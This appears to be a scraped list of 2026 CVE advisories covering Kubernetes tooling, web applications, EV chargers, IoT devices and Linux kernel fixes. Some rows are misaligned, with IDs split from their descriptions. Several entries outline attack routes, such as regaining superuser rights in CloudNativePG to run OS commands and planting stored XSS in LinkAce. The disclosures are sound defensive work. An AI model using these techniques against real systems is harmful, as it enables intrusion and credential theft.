CVE-2026-44477	CloudNativePG is a platform designed to manage PostgreSQL databases within Kubernetes environments. Prior to 1.29.1 and 1.28.3, the CloudNativePG metrics exporter opens its PostgreSQL connection as the postgres superuser via the pod-local Unix socket, then demotes the session with SET ROLE pg_monitor. SET ROLE changes only current_user; session_user remains postgres. Any SQL expression evaluated inside the scrape session can invoke RESET ROLE to recover real superuser privileges, then use COPY ... TO PROGRAM to spawn an OS-level subprocess as the postgres user inside the primary pod. The READ ONLY transaction flag does not block this; it gates writes to database state, not external processes. This vulnerability is fixed in 1.29.1 and 1.28.3.	N/A	More Details
CVE-2026-41185	When Calico is configured with the Azure IPAM plugin, the Calico CNI binary mutates the incoming CNI configuration to attach subnet information before delegating to the IPAM plugin. After mutating, the Azure IPAM helper logs the entire unmarshaled configuration map (stdinData) at INFO level to /var/log/calico/cni/cni.log on every CNI ADD and DEL invocation — once per pod scheduled or terminated on the node. When the cluster is deployed using token-based Kubernetes authentication, this log entry contains the ServiceAccount token, client key, and certificate authority in plaintext. Any principal with read access to /var/log/calico/cni/cni.log on a node can read these logs and extract the credentials, which grant cluster-wide Calico networking admin privileges.	N/A	More Details
CVE-2026-41184	In Calico, the install-cni init container logs the rendered CNI configuration to standard output. When the configuration template uses the __SERVICEACCOUNT_TOKEN__ placeholder (Canal/Flannel-Calico deployments), the installer substitutes the live Kubernetes ServiceAccount bearer token before logging, exposing the token to any authenticated user with pods/log permission in the namespace with calico-node. The token holds patch privileges on pods/status, enabling annotation-based attacks against cluster workloads. The default kubeconfig-based authentication path is not affected. This is a direct regression of TTA-2018-001.	N/A	More Details
CVE-2026-44672	mapfish-print is a component of MapFish for printing templated cartographic maps. From 3.23.0 to before 3.28.28, 3.30.30, 3.31.22, 3.33.14, and 4.0.3, the attacker can execute arbitrary code in Dynamic table without being authenticated. This vulnerability is fixed in 3.28.28, 3.30.30, 3.31.22, 3.33.14, and 4.0.3.	N/A	More Details
CVE-2026-44593	esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.	N/A	More Details
CVE-2026-9828	Deserialization of untrusted data vulnerability in QOS.CH Sarl logback logback-core (HardenedObjectInputStream (logback-core) modules) allows Object Injection albeit heavily restricted. More precisely, an attacker able to influence serialized data sent to SimpleSocketServer or SimpleSSLSocketServer can instantiate objects from classes in the java.lang and java.util packages that are not explicitly blocked. Although deserialization is heavily restricted by HardenedObjectInputStream and no practical way to achieve remote code execution or significant privilege escalation has been identified, this issue constitutes a bypass of the intended security restrictions. This issue affects logback: through 1.5.32 inclusive.	N/A	More Details
CVE-2026-8980	The Mennekes Amtron series (firmware versions ≤ 5.22.3) is vulnerable to privilege escalation. An authenticated low-privileged user can change the passwords of the admin (operator) and manufacturer accounts via crafted POST requests.	N/A	More Details
CVE-2026-34126	TP-Link has identified a vulnerability in Tapo L535E v1.0 and v3.0, Tapo P300 v1.0, and Tapo D100C v1.0, where Bluetooth communication during the initial setup phase is transmitted in cleartext without encryption. Bluetooth is only used during initialization. An attacker within the Bluetooth range could exploit this behavior using Bluetooth sniffing or man-in-the-middle techniques, which may allow eavesdropping on Bluetooth communication, manipulate transmitted setup data and potentially gain unauthorized control of the device during initialization. An attacker within the Bluetooth range could exploit this behavior using Bluetooth sniffing or man-in-the-middle techniques, which may allow eavesdropping on Bluetooth communication, manipulate transmitted setup data and potentially gain unauthorized control of the device during initialization. D100C is the chime delivered with your Tapo camera, and it is delivered with the following Tapo products: D130, D210, D235, D225, TD21, TDB21 and TD25	N/A	More Details
CVE-2026-8979	The Mennekes Amtron series (firmware versions ≤ 5.22.3) is vulnerable to an authentication bypass. An unauthenticated remote attacker can change the password of the user account via a crafted POST request to the /operator/operator endpoint.	N/A	More Details
CVE-2026-42250	bzip2 contains an off-by-one error in the bzip2recover utility. When processing a specially crafted file, the application performs an out-of-bounds write to a global buffer, resulting in memory corruption and a crash (denial of service). This issue was fixed in bzip2 patch 35d122a3df8b0cc4082a4d89fdc6ee99f375fe67	N/A	More Details

CVE-2026-9818	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-9813	FlowIntel up to version 3.3.0 contains a server-side request forgery (SSRF) vulnerability in the external reference URL probe functionality in app/case/task.py. An attacker who can submit an external reference URL can cause the application server to issue an HTTP HEAD request to an attacker-specified destination. Due to insufficient validation of the URL scheme and resolved destination address, affected versions may allow requests to loopback, link-local, private, reserved, or other restricted network resources, potentially enabling interaction with internal services or cloud metadata endpoints from the server's network context.	N/A	More Details
CVE-2026-4377	Dlink DWR-X1820 router uses weak default password generated from its IMEI number and does not require users to change it. An attacker who knows how passwords are generated can easily crack the default password if they have the device IMEI number. This issue was fixed in version 1.00B16CP.	N/A	More Details
CVE-2026-47074	Improper Certificate Validation vulnerability in ex-aws ex_aws_sns (ExAws.SNS, ExAws.SNS.PublicKeyCache modules) allows Signature Spoofing by Improper Validation. This vulnerability is associated with program files lib/ex_aws/sns.ex, lib/ex_aws/sns/public_key_cache.ex and program routines 'Elixir.ExAws.SNS':verify_message/1, 'Elixir.ExAws.SNS.PublicKeyCache':get/1. 'Elixir.ExAws.SNS':verify_message/1 fetches the signing certificate from the SigningCertURL field of the incoming SNS message without validating that the URL uses HTTPS or that the host matches an AWS-owned SNS certificate domain. An unauthenticated attacker who can POST to an endpoint that calls verify_message/1 can supply an attacker-controlled SigningCertURL, sign a forged SNS message with their own key, and cause the function to return :ok, completely bypassing SNS signature verification. This issue affects ex_aws_sns: from 2.0.1 before 2.3.5.	N/A	More Details
CVE-2026-46241	In the Linux kernel, the following vulnerability has been resolved: spi: mpc52xx: fix use-after-free on registration failure Make sure to disable and free the interrupts in case controller registration fails to avoid a potential use-after-free and resource leak. This issue was flagged by Sashiko when reviewing a controller deregistration fix.	N/A	More Details
CVE-2026-46239	In the Linux kernel, the following vulnerability has been resolved: media: i2c: ov5647: Fix runtime PM refcount leak in s_ctrl Three control cases (AUTOGAIN, EXPOSURE_AUTO, ANALOGUE_GAIN) directly return without calling pm_runtime_put(), causing runtime PM reference count leaks. Change these cases from 'return' to 'ret = ... break' pattern to ensure pm_runtime_put() is always called before function exit.	N/A	More Details
CVE-2026-46236	In the Linux kernel, the following vulnerability has been resolved: media: rc: xbox_remote: heed DMA restrictions The buffer for IO must not be part of the device structure because that violates the DMA coherency rules.	N/A	More Details
CVE-2026-46235	In the Linux kernel, the following vulnerability has been resolved: media: saa7164: add ioremap return checks and cleanups Add checks for ioremap return values in saa7164_dev_setup(). If ioremap for BAR0 or BAR2 fails, release the already allocated PCI memory regions, remove the device from the global list, decrement the device count, and return -ENODEV. This prevents potential null pointer dereferences and ensures proper cleanup on memory mapping failures.	N/A	More Details
CVE-2026-8697	Due to improper enforcement of authentication rate-limiting on a debug SSH service in Archer C64 v1, the SSH service allows unlimited authentication attempts and uses the same credentials as the web interface. This enables an attacker to brute-force valid credentials via SSH. Successful exploitation could allow an attacker with adjacent network access to obtain administrative credentials through unrestricted authentication attempts and subsequently gain full administrative access to the device, impacting system confidentiality, integrity, and availability.	N/A	More Details
CVE-2026-45058	electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. In 3.8.8 and earlier, there is persistent local-pty code execution via imported bookmarks or compromised sync targets. Affects users who import bookmark JSON files or who have electerm sync configured (gist/WebDAV). The attacker can inject exec* fields or global config to cause remote code to run when a bookmark is opened or when sync is applied.	N/A	More Details
CVE-2026-45849	In the Linux kernel, the following vulnerability has been resolved: net: mscc: ocelot: add missing lock protection in ocelot_port_xmit_inj() ocelot_port_xmit_inj() calls ocelot_can_inject() and ocelot_port_inject_frame() without holding the injection group lock. Both functions contain lockdep_assert_held() for the injection lock, and the correct caller felix_port_deferred_xmit() properly acquires the lock using ocelot_lock_inj_grp() before calling these functions. Add ocelot_lock_inj_grp()/ocelot_unlock_inj_grp() around the register injection path to fix the missing lock protection. The FDMA path is not affected as it uses its own locking mechanism.	N/A	More Details
CVE-2026-9038	A stack-based buffer overflow vulnerability in the charging controller’s signal-processing logic allows an attacker with physical access to the charging interface to supply message fields that exceed expected bounds. Because the input is not sufficiently validated, memory corruption may occur, which can lead to execution of unauthorized code with elevated privileges.	N/A	More Details

CVE-2026-49017	In OpenStack Swift before 2.36.2 and 2.37.2, s3api middleware enters an infinite loop when processing a truncated aws-chunked PUT request body. The StreamingInput class repeatedly appends an empty buffer and re-reads, causing the proxy-server worker handling the request to become permanently unresponsive with increasing CPU and memory consumption. An authenticated attacker can systematically exhaust all proxy-server workers, resulting in denial of service. The defect was introduced in Swift 2.36.0.	N/A	More Details
CVE-2026-49299	In OpenStack Neutron before 28.0.1, the tagging controller enforces plural policy action names on single-tag write operations while the defined policy rules use singular names. The mismatched names evaluate as allowed under the default policy, permitting a project reader to create and update tags on same-project resources. Deployments running Neutron 26.0.0 or later are affected.	N/A	More Details
CVE-2026-45343	LinkAce is a self-hosted archive to collect website links. Prior to 2.5.6, LinkAce contains a stored cross-site scripting vulnerability that allows a low-privilege user to execute arbitrary JavaScript in an administrator's browser session. This affects instances configured with SSO/OAuth authentication, which is one of the supported authentication methods in LinkAce. An attacker who sets their OAuth display name to a malicious script and then creates an API token will plant a persistent XSS payload in the audit log. When any admin navigates to /system/audit, the payload executes in the admin's browser context. This enables session cookie theft, CSRF token exfiltration (exposed in the la-app-data meta tag), or any other action the admin can perform. This vulnerability is fixed in 2.5.6.	N/A	More Details
CVE-2026-45342	LinkAce is a self-hosted archive to collect website links. Prior to 2.5.6, LinkAce contains an Insecure Direct Object Reference vulnerability in the authorization policy layer that allows any authenticated user to modify resources owned by other users. The affected resource types are links, lists, tags, and notes. Both the web UI and the REST API are vulnerable. The root cause is in the update() methods of all four model policies: LinkPolicy, LinkListPolicy, TagPolicy, and NotePolicy. Each delegates to an access-check method (e.g., userCanAccessLink()) that returns true for any resource with non-private visibility, regardless of who owns it. This means any registered user can edit any public or internal resource across the entire instance. The delete() methods in the same policy files correctly require ownership via $link->user->is($user), which confirms that update was intended to be owner-only. The same flaw exists in the API layer through AuthorizesUserApiActions::userCanUpdateModel(), which mirrors the broken visibility-only check instead of the ownership check used by userCanDeleteModel(). Bulk edit operations via BulkEditController are also affected. This vulnerability is fixed in 2.5.6.	N/A	More Details
CVE-2026-44657	Mantis Bug Tracker (MantisBT) is an open source issue tracker. Prior to 2.28.2, using show_inline=1 parameter and a valid file_show_inline_token CSRF token on file_download.php, an attacker can execute code by uploading a crafted XHTML attachment referencing a JavaScript attachment. This vulnerability is fixed in 2.28.2.	N/A	More Details
CVE-2026-44655	Mantis Bug Tracker (MantisBT) is an open source issue tracker. From 1.3.0 to 2.28.1, unescaped Project Name allows an attacker that can set it (which typically requires manager or administrator access level) to inject HTML in Move Attachments admin page. This vulnerability is fixed in 2.28.2.	N/A	More Details
CVE-2026-42071	Mantis Bug Tracker (MantisBT) is an open source issue tracker. From 2.23.0 to 2.28.1, a missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to download attachments on private bugnotes they should not be able to access, via the REST API endpoint GET /api/rest/issues/{id}/files and SOAP API mc_issue_attachment_get endpoint. This vulnerability is fixed in 2.28.2.	N/A	More Details
CVE-2026-42070	Mantis Bug Tracker (MantisBT) is an open source issue tracker. Prior to 2.28.2, the mc_issue_update() function in MantisBT allows users having update_bug_threshold access (UPDATER, with default settings) to edit, change view state, and modify time tracking on bugnotes belonging to other users — bypassing the default DEVELOPER (level 55) threshold required by the dedicated mc_issue_note_update() function. This vulnerability is fixed in 2.28.2.	N/A	More Details
CVE-2026-41897	Mantis Bug Tracker (MantisBT) is an open source issue tracker. From 1.0.0 to 2.28.1, lack of validation of filter_target parameter on return_dynamic_filters.php (normally used as an AJAX in View Issues Page) allows an attacker to inject arbitrary HTML if the target is a TEXTAREA custom field. This vulnerability is fixed in 2.28.2.	N/A	More Details
CVE-2026-9039	A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.	N/A	More Details
CVE-2026-9037	A firmware update mechanism in the affected charging controller fails to validate the authenticity of firmware packages delivered through the device's management interface. Because cryptographic signatures are not verified, an attacker with the ability to interfere with or impersonate the management channel could cause the device to install an unauthorized firmware package. This condition could allow execution of unauthorized code with high privileges on the device.	N/A	More Details
	OpenReplay is a self-hosted session replay suite. Prior to 1.26.0, there is a cross-tenant IDOR on feature-flag		

CVE-2026-45297	and assist-stats routes via {project_id} case mismatch. ProjectAuthorizer.__call__ (OSS api/auth/auth_project.py:14-38 and EE ee/api/auth/auth_project.py:14-46) only runs projects.is_authorized(project_id, tenant_id, user_id) + projects.get_project(tenant_id, project_id) when self.project_identifier == "projectId" (camelCase). For EE multi-tenant, feature-flag queries only filter on project_id, never tenant_id. Any authenticated user in tenant A can read/update/delete feature-flag rows belonging to tenant B by iterating the sequential integer project_id + feature_flag_id. OSS is single-tenant by design ({"errors":["tenants already registered"]} on second signup) so there's no cross-tenant impact This vulnerability is fixed in 1.26.0.	N/A	More Details
CVE-2026-33590	Insecure default settings of Portainer CE grant regular (non-admin) users privileges that allow host filesystem access and host-level code execution. An authenticated non-administrative user with endpoint access can exploit these settings to read host files or obtain root equivalent access on the host.	N/A	More Details
CVE-2026-4944	vllm-project/vllm version 0.14.1 contains a vulnerability where the `trust_remote_code=True` parameter is hardcoded in two model implementation files (`vllm/model_executor/models/nemotron_vl.py` and `vllm/model_executor/models/kimi_k25.py`). This bypasses the user's explicit `--trust-remote-code=False` setting, enabling remote code execution via malicious HuggingFace model repositories. This issue is an incomplete fix for CVE-2025-66448 and CVE-2026-22807, as it affects separate code paths in model implementation files. Deployments loading NemotronVL or KimiK25 models are particularly impacted.	N/A	More Details
CVE-2026-47136	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the RustFS console endpoint GET /rustfs/console/license returns parsed license metadata without requiring authentication. The endpoint is registered on the console listener and returns JSON containing license information such as the license subject and expiration timestamp. Any client that can reach the console listener can query this endpoint without credentials. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-46685	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, when RUSTFS_CORS_ALLOWED_ORIGINS is unset, the RustFS S3 listener's ConditionalCorsLayer reflects any request Origin value back as Access-Control-Allow-Origin and also sets Access-Control-Allow-Credentials: true and Access-Control-Allow-Headers: * on responses, including preflight responses and error responses. This creates a permissive cross-domain policy with untrusted origins. A browser visiting an attacker-controlled page can issue credentialed cross-origin requests to a reachable RustFS deployment and read the response when the victim browser has ambient credentials for the RustFS origin, such as saved HTTP Basic Auth credentials, reverse-proxy SSO cookies, or TLS client certificates. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45044	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, the admin router explicitly whitelists /profile/cpu and /profile/memory from the authentication layer, allowing any unauthenticated HTTP client to invoke profiling handlers without credentials. On supported builds (e.g., glibc), the handler invokes a fixed 60-second CPU profiling operation (dump_cpu_pprof_for(Duration::from_secs(60))). This may result in significant CPU resource consumption per request and can potentially lead to denial of service when abused. Additionally, the handler returns the server’s absolute filesystem path in the response body, resulting in information disclosure. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45042	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, improper authorization in the UploadPartCopy operation allows copying objects across buckets without enforcing destination bucket restrictions on allowed copy sources. The implementation validates GetObject permission on the source bucket and PutObject on the destination bucket independently, but does not enforce any policy constraints on whether the destination bucket permits the specified copy source. This enables unauthorized cross-bucket data movement. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45041	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, crates/appauth/src/token.rs ships a 2048-bit RSA private key as a string constant named TEST_PRIVATE_KEY and uses it in production via parse_license() to "verify" license tokens. Because the key is embedded in every published source release and binary, anyone who can read the repository or extract it from the binary can mint arbitrary license tokens (any subject, any expiration). When the license Cargo feature is enabled, this defeats the entire license-enforcement mechanism. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45040	RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-beta.2, RustFS suffers from sensitive information leakage in log outputs. When the server is run with RUST_LOG=debug sensitive credentials including SessionToken (JWT), SecretAccessKey, and full JWT claims are printed in plaintext to the server logs. This vulnerability is fixed in 1.0.0-beta.2.	N/A	More Details
CVE-2026-45787	electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to 3.9.5, deterministic AES-192-CBC with a fixed zero IV, constant KDF salt, and no MAC leads to confidentiality and integrity failures for synced bookmark/profile data. Attackers can crack common passwords across installs and perform undetected ciphertext bit-flips to alter config/bookmarks. This vulnerability is fixed in 3.9.5.	N/A	More Details
CVE-2026-45353	electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. From 3.0.6 to 3.8.8, This vulnerability is fixed in 3.9.0.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: vsock: fix buffer size clamping order In		

CVE-2026-46234	vsock_update_buffer_size(), the buffer size was being clamped to the maximum first, and then to the minimum. If a user sets a minimum buffer size larger than the maximum, the minimum check overrides the maximum check, inverting the constraint. This breaks the intended socket memory boundaries by allowing the vsk->buffer_size to grow beyond the configured vsk->buffer_max_size. Fix this by checking the minimum first, and then the maximum. This ensures the buffer size never exceeds the buffer_max_size.	N/A	More Details
CVE-2026-46233	In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: only purge non-released claims When batadv_bla_purge_claims() goes through the list of claims, it is only traversing the hash list with an rcu_read_lock(). Due to a potential parallel batadv_claim_put(), it can happen that it encounters a claim which was actually in the process of being released+freed by batadv_claim_release(). In this case, backbone_gw is set to NULL before the delayed RCU kfree is started. Calling batadv_bla_claim_get_backbone_gw() is then no longer allowed because it would cause a NULL-ptr derefence. To avoid this, only claims with a valid reference counter must be purged. All others are already taken care of.	N/A	More Details
CVE-2026-46231	In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: put backbone reference on failed claim hash insert When batadv_bla_add_claim() fails to insert a new claim into the hash, it leaked a reference to the backbone_gw for which the claim was intended. Call batadv_backbone_gw_put() on the error path to release the reference and avoid leaking the backbone_gw object.	N/A	More Details
CVE-2026-46207	In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: fix empty payload in tap skb for non-linear buffers For non-linear skbs, virtio_transport_build_skb() goes through virtio_transport_copy_nonlinear_skb() to copy the original payload in the new skb to be delivered to the vsockmon tap device. This manually initializes an iov_iter but does not set iov_iter.count. Since the iov_iter is zero-initialized, the copy length is zero and no payload is actually copied to the monitor interface, leaving data un-initialized. Fix this by removing the linear vs non-linear split and using skb_copy_datagram_iter() with iov_iter_kvec() for all cases, as vhost-vsock already does. This handles both linear and non-linear skbs, properly initializes the iov_iter, and removes the now unused virtio_transport_copy_nonlinear_skb(). While touching this code, let's also check the return value of skb_copy_datagram_iter(), even though it's unlikely to fail.	N/A	More Details
CVE-2025-71304	In the Linux kernel, the following vulnerability has been resolved: smack: /smack/doi: accept previously used values Writing to /smack/doi a value that has ever been written there in the past disables networking for non-ambient labels. E.g. # cat /smack/doi 3 # netlabelctl -p cipso list Configured CIPSO mappings (1) DOI value : 3 mapping type : PASS_THROUGH # netlabelctl -p map list Configured NetLabel domain mappings (3) domain: "_" (IPv4) protocol: UNLABELED domain: DEFAULT (IPv4) protocol: CIPSO, DOI = 3 domain: DEFAULT (IPv6) protocol: UNLABELED # cat /smack/ambient _ # cat /proc/$$/attr/smack/current _ # ping -c1 10.1.95.12 64 bytes from 10.1.95.12: icmp_seq=1 ttl=64 time=0.964 ms # echo foo >/proc/$$/attr/smack/current # ping -c1 10.1.95.12 64 bytes from 10.1.95.12: icmp_seq=1 ttl=64 time=0.956 ms unknown option 86 # echo 4 >/smack/doi # echo 3 >/smack/doi !> [214.050395] smk_cipso_doi:691 cipso add rc = -17 # echo 3 >/smack/doi !> [249.402261] smk_cipso_doi:678 remove rc = -2 !> [249.402261] smk_cipso_doi:691 cipso add rc = -17 # ping -c1 10.1.95.12 !!> ping: 10.1.95.12: Address family for hostname not supported # echo _ >/proc/$$/attr/smack/current # ping -c1 10.1.95.12 64 bytes from 10.1.95.12: icmp_seq=1 ttl=64 time=0.617 ms This happens because Smack keeps decommissioned DOIs, fails to re-add them, and consequently refuses to add the “default” domain map: # netlabelctl -p cipso list Configured CIPSO mappings (2) DOI value : 3 mapping type : PASS_THROUGH DOI value : 4 mapping type : PASS_THROUGH # netlabelctl -p map list Configured NetLabel domain mappings (2) domain: "_" (IPv4) protocol: UNLABELED !> (no ipv4 map for default domain here) domain: DEFAULT (IPv6) protocol: UNLABELED Fix by clearing decommissioned DOI definitions and serializing concurrent DOI updates with a new lock. Also: - allow /smack/doi to live unconfigured, since adding a map (netlbl_cfg_cipsov4_map_add) may fail. CIPSO_V4_DOI_UNKNOWN(0) indicates the unconfigured DOI - add new DOI before removing the old default map, so the old map remains if the add fails (2008-02-04, Casey Schaufler)	N/A	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: drm/display/dp_mst: Add protection against 0 vcpi When releasing a timeslot there is a slight chance we may end up with the wrong payload mask due to overflow if the delayed_destroy_work ends up coming into play after a DP 2.1 monitor gets disconnected which causes vcpi to become 0 then we try to make the payload = ~BIT(vcpi - 1) which is a negative shift. VCPI id should never really be 0 hence skip changing the payload mask if VCPI is 0. Otherwise it leads to <7> [515.287237] xe 0000:03:00.0: [drm:drm_dp_mst_get_port_malloc [drm_display_helper]] port ffff888126ce9000 (3) <4> [515.287267] ----------[cut here]---------- <3> [515.287268] UBSAN: shift-out-of-bounds in ../drivers/gpu/drm/display/drm_dp_mst_topology.c:4575:36 <3> [515.287271] shift exponent -1 is negative <4> [515.287275] CPU: 7 UID: 0 PID: 3108 Comm: kworker/u64:33 Tainted: G S U 6.17.0-rc6-lgci-xe-xe-3795-3e79699fa1b216e92+ #1 PREEMPT(voluntary) <4> [515.287279] Tainted: [S]=CPU_OUT_OF_SPEC, [U]=USER <4> [515.287279] Hardware name: ASUS System Product Name/PRIME Z790-P WIFI, BIOS 1645 03/15/2024 <4> [515.287281] Workqueue: drm_dp_mst_wq drm_dp_delayed_destroy_work [drm_display_helper] <4> [515.287303] Call Trace: <4> [515.287304] <TASK> <4> [515.287306] dump_stack_lvl+0xc1/0xf0 <4> [515.287313] dump_stack+0x10/0x20 <4> [515.287316] __ubsan_handle_shift_out_of_bounds+0x133/0x2e0 <4> [515.287324] ? drm_atomic_get_private_obj_state+0x186/0x1d0 <4> [515.287333] drm_dp_atomic_release_time_slots.cold+0x17/0x3d [drm_display_helper] <4> [515.287355]		

2025-71305	mst_connector_atomic_check+0x159/0x180 [xe] <4> [515.287546] drm_atomic_helper_check_modeset+0x4d9/0xfa0 <4> [515.287550] ? __ww_mutex_lock.constprop.0+0x6f/0x1a60 <4> [515.287562] intel_atomic_check+0x119/0x2b80 [xe] <4> [515.287740] ? find_held_lock+0x31/0x90 <4> [515.287747] ? lock_release+0xce/0x2a0 <4> [515.287754] drm_atomic_check_only+0x6a2/0xb40 <4> [515.287758] ? drm_atomic_add_affected_connectors+0x12b/0x140 <4> [515.287765] drm_atomic_commit+0x6e/0xf0 <4> [515.287766] ? _pfx__drm_printfn_info+0x10/0x10 <4> [515.287774] drm_client_modeset_commit_atomic+0x25c/0x2b0 <4> [515.287794] drm_client_modeset_commit_locked+0x60/0x1b0 <4> [515.287795] ? mutex_lock_nested+0x1b/0x30 <4> [515.287801] drm_client_modeset_commit+0x26/0x50 <4> [515.287804] __drm_fb_helper_restore_fbdev_mode_unlocked+0xdc/0x110 <4> [515.287810] drm_fb_helper_hotplug_event+0x120/0x140 <4> [515.287814] drm_fbdev_client_hotplug+0x28/0xd0 <4> [515.287819] drm_client_hotplug+0x6c/0xf0 <4> [515.287824] drm_client_dev_hotplug+0x9e/0xd0 <4> [515.287829] drm_kms_helper_hotplug_event+0x1a/0x30 <4> [515.287834] drm_dp_delayed_destroy_work+0x3df/0x410 [drm_display_helper] <4> [515.287861] process_one_work+0x22b/0x6f0 <4> [515.287874] worker_thread+0x1e8/0x3d0 <4> [515.287879] ? __pfx_worker_thread+0x10/0x10 <4> [515.287882] kthread+0x11c/0x250 <4> [515.287886] ? __pfx_kthread+0x10/0x10 <4> [515.287890] ret_from_fork+0x2d7/0x310 <4> [515.287894] ? __pfx_kthread+0x10/0x10 <4> [515.287897] ret_from_fork_asm+0x1a/0x30	N/A	More Details
CVE-2025-71306	In the Linux kernel, the following vulnerability has been resolved: ima: Fix stack-out-of-bounds in is_bprm_creds_for_exec() KASAN reported a stack-out-of-bounds access in ima_appraise_measurement from is_bprm_creds_for_exec: BUG: KASAN: stack-out-of-bounds in ima_appraise_measurement+0x12dc/0x16a0 Read of size 1 at addr ffffc9000160f940 by task sudo/550 The buggy address belongs to stack of task sudo/550 and is located at offset 24 in frame: ima_appraise_measurement+0x0/0x16a0 This frame has 2 objects: [48, 56) 'file' [80, 148) 'hash' This is caused by using container_of on the *file pointer. This offset calculation is what triggers the stack-out-of-bounds error. In order to fix this, pass in a bprm_is_check boolean which can be set depending on how process_measurement is called. If the caller has a linux_binprm pointer and the function is BPRM_CHECK we can determine is_check and set it then. Otherwise set it to false.	N/A	More Details
CVE-2025-71307	In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Fix NULL pointer dereference on panthor_fw_unplug This patch removes the MCU halt and wait for halt procedures during panthor_fw_unplug() as the MCU can be in a variety of states or the FW may not even be loaded/initialized at all, the latter of which can lead to a NULL pointer dereference. It should be safe on unplug to just disable the MCU without waiting for it to halt as it may not be able to.	N/A	More Details
CVE-2026-46213	In the Linux kernel, the following vulnerability has been resolved: HID: appletb-kbd: fix UAF in inactivity-timer cleanup path Commit 38224c472a03 ("HID: appletb-kbd: fix slab use-after-free bug in appletb_kbd_probe") added timer_delete_sync(&kbd->inactivity_timer) to both the probe close_hw error path and appletb_kbd_remove(), but the way it was wired in left the inactivity timer reachable during driver tear-down via two distinct windows. Window A -- put_device() before timer_delete_sync(): put_device(&kbd->backlight_dev->dev); timer_delete_sync(&kbd->inactivity_timer); The inactivity_timer softirq reads kbd->backlight_dev and calls backlight_device_set_brightness() -> mutex_lock(&ops_lock). If a concurrent hid_appletb_bl unbind drops the last devm reference between these two calls, the backlight_device is freed and the mutex_lock() touches freed memory. Window B -- backlight cleanup before hid_hw_stop(): if (kbd->backlight_dev) { timer_delete_sync(...); put_device(...); } hid_hw_close(hdev); hid_hw_stop(hdev); Even after Window A is closed, hid_hw_close()/hid_hw_stop() still run afterwards, so a late ".event" callback from the HID core (USB URB completion on real Apple hardware) can arrive after timer_delete_sync() drained the softirq but before put_device() drops the reference. That callback reaches reset_inactivity_timer(), which calls mod_timer() and re-arms the timer. The freshly re-armed timer can then fire on the about-to-be-freed backlight_device. Both windows produce the same KASAN slab-use-after-free: BUG: KASAN: slab-use-after-free in __mutex_lock+0x1aab/0x21c0 Read of size 8 at addr ffff88803ee9a108 by task swapper/0/0 Call Trace: <IRQ> __mutex_lock backlight_device_set_brightness appletb_inactivity_timer call_timer_fn run_timer_softirq handle_softirqs Allocated by task N: devm_backlight_device_register appletb_bl_probe Freed by task M: (concurrent hid_appletb_bl unbind path) Close both windows at once by reworking the tear-down in appletb_kbd_remove() and in the probe close_hw error path so that 1) hid_hw_close()/hid_hw_stop() run before the backlight cleanup, guaranteeing no further .event callback can fire and re-arm the timer, and 2) inside the "if (kbd->backlight_dev)" block, timer_delete_sync() runs before put_device(), so the softirq is drained before the final reference is dropped.	N/A	More Details
CVE-2026-46211	In the Linux kernel, the following vulnerability has been resolved: drm/msm/gem: fix error handling in msm_ioctl_gem_info_get_metadata() msm_ioctl_gem_info_get_metadata() always returns 0 regardless of errors. When copy_to_user() fails or the user buffer is too small, the error code stored in ret is ignored because the function unconditionally returns 0. This causes userspace to believe the ioctl succeeded when it did not. Additionally, kmemdup() can return NULL on allocation failure, but the return value is not checked. This leads to a NULL pointer dereference in the subsequent copy_to_user() call. Add the missing NULL check for kmemdup() and return ret instead of 0. Note that the SET counterpart (msm_ioctl_gem_info_set_metadata) correctly returns ret. Patchwork: https://patchwork.freedesktop.org/patch/714478/	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Fix potential NULL pointer		

CVE-2025-71308	dereference in context cleanup aie_destroy_context() is invoked during error handling in aie2_create_context(). However, aie_destroy_context() assumes that the context's mailbox channel pointer is non-NULL. If mailbox channel creation fails, the pointer remains NULL and calling aie_destroy_context() can lead to a NULL pointer dereference. In aie2_create_context(), replace aie_destroy_context() with a function which request firmware to remove the context created previously.	N/A	More Details
